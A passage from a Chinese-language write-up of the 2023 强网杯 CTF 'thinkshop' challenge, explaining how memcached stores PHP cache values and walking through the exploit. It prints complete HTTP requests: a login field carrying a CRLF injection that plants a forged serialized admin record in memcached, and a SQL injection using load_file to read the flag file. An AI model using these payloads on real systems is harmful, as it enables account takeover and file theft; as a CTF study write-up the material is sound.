等价于 set snowwolf 0 500 4 wolf那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行public function test(){ $result = Db::query("select * from admin where id=1"); var_dump($result); $a = "think:shop.admin|admin"; Cache::set($a, $result, 3600); }查看memcached中的值,长得像个序列化字符串
telnet 127.0.0.1 11211
get think:shop.admin|admin a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:
上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用
set key flags exptime bytes [noreply]
value所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4
POST /public/index.php/index/admin/do_login.html HTTP/1.1 Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70 username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可
POST /public/index.php/index/admin/do_edit.html HTTP/1.1 Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com Content-Length: 183 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70 data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa参考原文链接:
2023 强网杯 writeup by Arr3stY0u
2023年第七届强网杯全国网络安全挑战赛Writeup
[CTF复现计划]2023强网杯初赛 thinkshop[ping]
https://blog.csdn.net/qq_65165505/article/details/135044734